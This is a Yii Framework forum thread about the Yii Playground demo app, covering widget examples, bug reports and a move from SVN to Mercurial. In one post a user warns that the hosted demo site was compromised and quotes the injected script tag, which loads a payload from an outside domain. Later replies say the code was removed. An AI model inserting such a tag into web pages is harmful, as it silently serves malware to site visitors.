Yii Framework Forum: Yii Playground: collaborative demo app. - Yii Framework Forum

Jump to content

  • (7 Pages)
  • +
  • « First
  • 3
  • 4
  • 5
  • 6
  • 7
  • You cannot start a new topic
  • You cannot reply to this topic

Yii Playground: collaborative demo app. Working code snippets provided by users; join us! Rate Topic: ***** 10 Votes

#81 User is offline   junxiong 

  • Advanced Member
  • PipPipPip
  • Yii
  • Group: Members
  • Posts: 541
  • Joined: 21-June 10

Posted 08 January 2011 - 07:32 AM

Just added new examples, CTabView!! :D

By the way, I don't know why but CJuiDatePicker is error in my computer
it said :
Spoiler

“The most likely way for the world to be destroyed, most experts argue, is by accident. That’s where we come in; we’re computer professionals. We cause accidents.” - Nathaniel Borenstein

Yii Playground : Collaborative demo apps. You can join to improve it too!
My Team's Blog: In Indonesian.
1

#82 User is offline   Giovanni D. 

  • Standard Member
  • PipPip
  • Yii
  • Group: Members
  • Posts: 238
  • Joined: 23-December 08
  • Location:London (UK)

Posted 09 January 2011 - 10:13 AM

View Postjunxiong, on 08 January 2011 - 07:32 AM, said:

By the way, I don't know why but CJuiDatePicker is error in my computer



maybe is a small bug ($this->htmlOptions['name'] not defined?) Have you error_reporting set to E_ALL in your php.ini?

Anyway, I've commited a couple of small fixes ;) thanks for your examples! I'm also going to update the live demo.

Just a question: why did you put the "csrf" view in the "cookie" folder? From what I know csrf is not related with cookies and could be confusing ::) Anyway I think this one is an important and useful example!

bye,
Giovanni.

p.s.
please also note that as you put the csrf component in config/development.php it won't be enabled on the live demo cause that file is not loaded on the live demo. (see here)
- Yii Playground: collaborative demo app with small examples to play with.. join us ;) [Fork on github]

- DeploYii: Yii powered task runner and deployment solution

- Social: LinkedIn · Twitter
0

#83 User is offline   junxiong 

  • Advanced Member
  • PipPipPip
  • Yii
  • Group: Members
  • Posts: 541
  • Joined: 21-June 10

Posted 10 January 2011 - 01:13 AM

View PostVirtual DarKness, on 09 January 2011 - 10:13 AM, said:

maybe is a small bug ($this->htmlOptions['name'] not defined?) Have you error_reporting set to E_ALL in your php.ini?

Anyway, I've commited a couple of small fixes ;) thanks for your examples! I'm also going to update the live demo.

Just a question: why did you put the "csrf" view in the "cookie" folder? From what I know csrf is not related with cookies and could be confusing ::) Anyway I think this one is an important and useful example!

bye,
Giovanni.

p.s.
please also note that as you put the csrf component in config/development.php it won't be enabled on the live demo cause that file is not loaded on the live demo. (see here)


Yeah, I set it E_ALL, if so, then this might bug from Yii Framework?

Hm... I thought CSRF is security involving cookie, that's why the view and controller's name I give "cookie".. Or shall I just set the name to csrf ??
“The most likely way for the world to be destroyed, most experts argue, is by accident. That’s where we come in; we’re computer professionals. We cause accidents.” - Nathaniel Borenstein

Yii Playground : Collaborative demo apps. You can join to improve it too!
My Team's Blog: In Indonesian.
0

#84 User is offline   junxiong 

  • Advanced Member
  • PipPipPip
  • Yii
  • Group: Members
  • Posts: 541
  • Joined: 21-June 10

Posted 23 January 2011 - 02:56 AM

New example, CTextHighlight...

But I wonder, why some languages it still display plain text? I put only supported languages, but Java, CPP, Ruby, python doesn't seems to be highlighted. Any idea?
“The most likely way for the world to be destroyed, most experts argue, is by accident. That’s where we come in; we’re computer professionals. We cause accidents.” - Nathaniel Borenstein

Yii Playground : Collaborative demo apps. You can join to improve it too!
My Team's Blog: In Indonesian.
0

#85 User is offline   samdark 

  • Having fun
  • Yii
  • Group: Yii Dev Team
  • Posts: 3,786
  • Joined: 17-January 09
  • Location:Russia

Posted 23 January 2011 - 05:12 PM

No CSS for these.
Yii 1.1 Application Development Cookbook

Enjoying Yii? Star us at github: 1.1 and 2.0.
0

#86 User is offline   Giovanni D. 

  • Standard Member
  • PipPip
  • Yii
  • Group: Members
  • Posts: 238
  • Joined: 23-December 08
  • Location:London (UK)

Posted 12 February 2011 - 10:32 AM

View Postjunxiong, on 23 January 2011 - 02:56 AM, said:

New example, CTextHighlight...


Hi,
sorry for the late reply.. had few time to follow this during the last weeks. Anyway now the live demo has yii-1.1.6.r2877 and I've updated it with the CTextHighlight example, thanks :)

bye,
Giovanni.
- Yii Playground: collaborative demo app with small examples to play with.. join us ;) [Fork on github]

- DeploYii: Yii powered task runner and deployment solution

- Social: LinkedIn · Twitter
0

#87 User is offline   junxiong 

  • Advanced Member
  • PipPipPip
  • Yii
  • Group: Members
  • Posts: 541
  • Joined: 21-June 10

Posted 25 February 2011 - 09:54 AM

Somehow the jqgrid code in my localhost is not running anymore...
it produce error like this

Quote

Constant _CHECK_JS_PARAMETERS_ already defined


I will find out what's going first...
“The most likely way for the world to be destroyed, most experts argue, is by accident. That’s where we come in; we’re computer professionals. We cause accidents.” - Nathaniel Borenstein

Yii Playground : Collaborative demo apps. You can join to improve it too!
My Team's Blog: In Indonesian.
0

#88 User is offline   junxiong 

  • Advanced Member
  • PipPipPip
  • Yii
  • Group: Members
  • Posts: 541
  • Joined: 21-June 10

Posted 07 June 2011 - 11:37 PM

View Postjunxiong, on 25 February 2011 - 09:54 AM, said:

Somehow the jqgrid code in my localhost is not running anymore...
it produce error like this


I will find out what's going first...


Geez, seems it's already quite a time nobody touch this project. Everybody must be very busy. Hopefully in this few days, I could put down some example again~
(hopefully)
“The most likely way for the world to be destroyed, most experts argue, is by accident. That’s where we come in; we’re computer professionals. We cause accidents.” - Nathaniel Borenstein

Yii Playground : Collaborative demo apps. You can join to improve it too!
My Team's Blog: In Indonesian.
0

#89 User is offline   Giovanni D. 

  • Standard Member
  • PipPip
  • Yii
  • Group: Members
  • Posts: 238
  • Joined: 23-December 08
  • Location:London (UK)

Posted 17 June 2011 - 12:00 PM

Hello,
yes for now I'm busy with other projects and things but I think I'll keep working on it in the future, as I'm done with a couple of other stuff.

In the meantime I've changed the requirements to join the project as many people asks me to join and then they doesn't commit anything, so I've added this to the wiki:

Quote

Note: since many users asked to join but then didn't contributed in any way, I urge you to first download the source from svn and start working on it locally (read-only access is open to everyone) and then, when you will have something to commit, go on and require to join. Thanks.


http://code.google.c...round/wiki/Join

I hope my English isn't too bad ;)


I also plan to release another snapshot package soon or later and I'll do it but have no estimated time for this.

bye,
Giovanni.
- Yii Playground: collaborative demo app with small examples to play with.. join us ;) [Fork on github]

- DeploYii: Yii powered task runner and deployment solution

- Social: LinkedIn · Twitter
0

#90 User is offline   jacmoe 

  • Elite Member
  • Yii
  • Group: Moderators
  • Posts: 2,601
  • Joined: 10-October 10
  • Location:Denmark

Posted 17 June 2011 - 12:24 PM

Since the project is on Google.code, how about switching to Mercurial?

That way people don't have to join the project, because we can save the changes as a bundle which one of the project members can apply.
That would solve the issues I think.
The kind of project that the Yii Playground is lends itself extremely well to a distributed version system IMO. :)

People who are going to say: No.. Go Git! should realise that Google.code offers Mercurial, not Git.
So going Mercurial would mean that the project stays where it is. ;)
"Less noise - more signal"
0

#91 User is offline   Giovanni D. 

  • Standard Member
  • PipPip
  • Yii
  • Group: Members
  • Posts: 238
  • Joined: 23-December 08
  • Location:London (UK)

Posted 17 June 2011 - 04:52 PM

Hehe,
I'm not a fan of Git, so for me Mercurial won't be a problem I guess.

The good thing about svn is the integration with netbeans that I don't know if it is available for Mercurial.. but I saw you have TortoisHG that should be similar to TortoiseSVN I guess.

Also, changing from svn to mercurial would require some effort to update the documentation (at this time there is also a screencast that explain how to get started with svn for windows users)

Anyway, about svn write access... as I wrote the point is just to have something the user can commit as I enable him as a member of the project to avoid that people asks to join and then doesn't provide any contribution. But the Mercurial idea sounds good so I look forward to hear an opinion also from other users like junxiong ;)

bye,
Giovanni.
- Yii Playground: collaborative demo app with small examples to play with.. join us ;) [Fork on github]

- DeploYii: Yii powered task runner and deployment solution

- Social: LinkedIn · Twitter
0

#92 User is offline   jacmoe 

  • Elite Member
  • Yii
  • Group: Moderators
  • Posts: 2,601
  • Joined: 10-October 10
  • Location:Denmark

Posted 17 June 2011 - 04:55 PM

They use Mercurial themselves (NetBeans team), so - of course - there is excellent Mercurial support built into the IDE. :lol:
"Less noise - more signal"
0

#93 User is offline   intel352 

  • Standard Member
  • PipPip
  • Yii
  • Group: Members
  • Posts: 196
  • Joined: 05-February 10
  • Location:Southport, NC

Posted 17 June 2011 - 05:01 PM

Agreed with mercurial suggestion. Netbeans works great with hg.
Also, users should be able to still access svn read-only up to the point that it was converted.

For contribution, users can also fork the main repo if they have ongoing contributions.
Need live Yii support? - Join the #yii IRC channel on Freenode!
0

#94 User is offline   junxiong 

  • Advanced Member
  • PipPipPip
  • Yii
  • Group: Members
  • Posts: 541
  • Joined: 21-June 10

Posted 21 June 2011 - 05:34 PM

I've never worked with Mercurial before. But I won't mind to learn new thing. As long it is easy for everyone, I will go with everyone :)
“The most likely way for the world to be destroyed, most experts argue, is by accident. That’s where we come in; we’re computer professionals. We cause accidents.” - Nathaniel Borenstein

Yii Playground : Collaborative demo apps. You can join to improve it too!
My Team's Blog: In Indonesian.
0

#95 User is offline   Giovanni D. 

  • Standard Member
  • PipPip
  • Yii
  • Group: Members
  • Posts: 238
  • Joined: 23-December 08
  • Location:London (UK)

Posted 28 June 2011 - 11:54 AM

Hello,
so I think we can go to mercurial; just have some questions to better understand how it will work.. please let's continue this discussion here.

Thanks.

bye,
Giovanni.
- Yii Playground: collaborative demo app with small examples to play with.. join us ;) [Fork on github]

- DeploYii: Yii powered task runner and deployment solution

- Social: LinkedIn · Twitter
0

#96 User is offline   blacksheep 

  • Standard Member
  • PipPip
  • Yii
  • Group: Members
  • Posts: 180
  • Joined: 31-December 11

Posted 19 January 2012 - 10:52 AM

thank you / GRAZIE! :)
So di non Sapere
0

#97 User is offline   Chelo 

  • Newbie
  • Yii
  • Group: Members
  • Posts: 9
  • Joined: 19-June 11

Posted 04 February 2012 - 05:53 PM

thanks, nice idea
0

#98 User is offline   zitter 

  • Standard Member
  • PipPip
  • Yii
  • Group: Members
  • Posts: 140
  • Joined: 14-July 09

Posted 27 March 2012 - 01:46 PM

Hey, be careful with site http://www.yiiplaygr....cubedwater.com I think there is a malicious script inside, look at the end of the code:
<script src="http://tri25ala.rr.nu/mm.php?d=x1"></script>


ciao!
danilo
0

#99 User is offline   Giovanni D. 

  • Standard Member
  • PipPip
  • Yii
  • Group: Members
  • Posts: 238
  • Joined: 23-December 08
  • Location:London (UK)

Posted 21 April 2012 - 08:50 AM

Thanks zitter for reporting it; this seems to be only related to the hosted version, not to the source on svn (we think it is a problem of the hosting provider) and we are going to clean up the code.. (the hosting for the live demo is kindly provided by jonah)

bye,
Giovanni.
- Yii Playground: collaborative demo app with small examples to play with.. join us ;) [Fork on github]

- DeploYii: Yii powered task runner and deployment solution

- Social: LinkedIn · Twitter
0

#100 User is offline   jonah 

  • Advanced Member
  • Yii
  • Group: Yii Dev Team
  • Posts: 733
  • Joined: 27-November 08
  • Location:California (US)

Posted 27 April 2012 - 11:28 PM

We got ride of the virus code. I think dreamhost was compromised. Thanks for the report.
http://php-thoughts.cubedwater.com - my bloggings about Yii
1

Share this topic:


  • (7 Pages)
  • +
  • « First
  • 3
  • 4
  • 5
  • 6
  • 7
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users